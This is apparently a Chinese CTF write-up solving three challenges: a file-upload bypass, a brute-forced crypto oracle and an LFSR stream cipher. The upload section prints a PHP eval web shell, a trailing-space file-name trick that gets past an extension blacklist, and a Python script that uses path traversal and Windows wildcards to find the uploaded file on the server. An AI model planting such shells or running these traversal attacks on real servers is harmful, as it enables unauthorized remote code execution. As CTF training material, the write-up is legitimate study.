0x01 upload
打开网页查看源码
发现
pic.php?filename=default.jpg
随手上传一个php
<?php @eval($_POST['cmd']); ?>
存在过滤
抓包上传
发现几个问题:
文件后缀: .123/.ph/.....都可以上传,后台应该只是使用黑名单
我们直接构造文件名为"milin.php "(注意有空格),便可以绕过
从响应头看出web端使用了IIS7.0
本来希望pic.php加载文件时是不是存在漏洞,但返回都是"image error"
这题考点在最后的文件目录上
重新尝试发现:
url处无法直接进行目录穿越
pic.php?filename=处可以进行目录穿越
首先还是想到IIS7.0的短文件名漏洞
随手一试:
pic.php?filename=../*~1*/.aspx
pic.php?filename=../milin*~1*/.aspx
发现不行,心态有点崩了
傻傻地写了纯爆破脚本
跑的时候还是觉得应该是通配符问题(不然没法做啊,跑了半个小时)
想到windows下php路径爆破问题(类似通配符问题)('<'后台替换为'*','>'替换为‘?’)
(其实试IIS短文件名的时候随手也试了一下,结果不行,然后就放弃了,比赛结束才知道就是这个方法,极度尴尬,怀疑当时是校园网不稳定,返回出错,就差一点搞定,心态又崩了)
知道这个,直接改了一下之前的纯爆破脚本即可:
import requests
import urllib
path = ""
key = "0123456789abcdefghijklmnopqrstuvwxyz"
for i in range(1,100):
for j in key:
url = 'http://47.90.97.18:9999/pic.php?filename=../'+path+j+'</default.jpg'
r = requests.get(url)
if "width=497" in r.content:
path +=j
print path
break
爆出路径直接菜刀连接就完了
0x02 Base
简单的密码学,没理解加密方式,不过发现后面增加字符加密后并不影响前面的加密字符,所以直接从前往后爆破就行:
from pwn import *
ans="2SiG5c9KCepoPA3iCyLHPRJ25uuo4AvD2/7yPHj2ReCofS9s47LU39JDRSU="
sum=""
str=""
p = remote('47.91.210.116',9999)
for i in range(33,127):
s="5869616f6d6f40466c61707079506967"
s+=chr(i)
p.sendlineafter("Input:",s)
qwe='encrypt("%s") => \"' %s
p.recvuntil(qwe)
str=p.recvuntil('"',drop=True)
if str[:56] == ans[:56]:
sum=sum+' '+s
p.close()
print sum
这个脚本有点问题
因为当时没考虑增加位数前面会固定几位
但晚上懒得想了,直接一位一位跑出来了
0x03 streamgamex
上次强网杯streamgame强化版,直接爆破估计会累死(二进制41位啊)
先分析加密过程再破解:
from flag import flag
assert flag.startswith("flag{")
assert flag.endswith("}")
assert len(flag)==47
def lfsr(R,mask):
output = (R << 1) & 0xffffff //output=R*2%0xffffff
i=(R&mask)&0xffffff //i=R&mask
lastbit=0
while i!=0:
lastbit^=(i&1) //i中奇数个1则lastbit=0,output不变,否则 lastbit=1,改变最后一位
i=i>>1
output^=lastbit
return (output,lastbit)
R=int(flag[5:-1],2)
mask = 0b10110110110011010111001101011010101011011
f=open("key","ab")
for i in range(64):
tmp=0
for j in range(8):
(R,out)=lfsr(R,mask)
tmp=(tmp << 1)^out
f.write(chr(tmp))
f.close()
很显然加密过程只与flag的后24位有关系
最后发现官方提示给了hashlib.sha256(flag).hexdigest()的值
我们破解过程就很明确了:
破解后24位
然后再利用hashlib.sha256(flag).hexdigest()破解前面
最后脚本破解:
def lfsr(R,mask):
output = (R << 1) & 0xffffff
i=(R&mask)&0xffffff
lastbit=0
while i!=0:
lastbit^=(i&1)
i=i>>1
output^=lastbit
return (output,lastbit)
mask = 0b10110110110011010111001101011010101011011
i=1
while True:
flag=bin(i)[2:]
R=int(flag,2)
tmp=[0,0,0,0]
for j in range(3):
tmp[j]=0
for k in range(8):
(R,out)=lfsr(R,mask)
tmp[j]=(tmp[j] << 1)^out
if tmp[0]==75 and tmp[1]==98 and tmp[2] == 9 :
print flag
i+=1
------------------------------------------------------------------------------------------
import hashlib
sum="111001101010111010111011"
i=0
ans="b2dcba51efd4a7d6157c956884a15934cb3edd3d2c1026830afa8db4ec108b58"
while True:
flag=bin(i)[2:]
key="flag{"+flag+sum+"}"
if hashlib.sha256(key).hexdigest()[:6]==ans[:6]:
print flag,key,len(key)
i+=1
这里附上最近这几次比赛streamgame的解法的源码(此源码需要在sage环境下运行):
mask = 0b10110110110011010111001101011010101011011 //前面几行根据需要修改即可
N = 24
F = GF(2)
R = [vector(F, N) for i in range(N)]
for i in range(N):
R[i][i] = 1
def lfsr(R,mask):
lastbit = vector(F, N)
for i in range(0, N):
if mask >> i & 1:
lastbit += R[i]
output = [lastbit] + R[0:N-1]
return (output,lastbit)
b = ''
with open('key', 'rb') as f:
b = f.read()
M = Matrix(F, len(b) * 8, N)
vec = vector(F, len(b) * 8)
row = 0
for i in range(len(b)):
t = ord(b[i])
for j in xrange(7, -1, -1):
vec[row] = t >> j & 1
(R, out) = lfsr(R, mask)
M[row] = out
row += 1
print rank(M)
print ''.join(map(str, list(M.solve_right(vec))[::-1]))












网友评论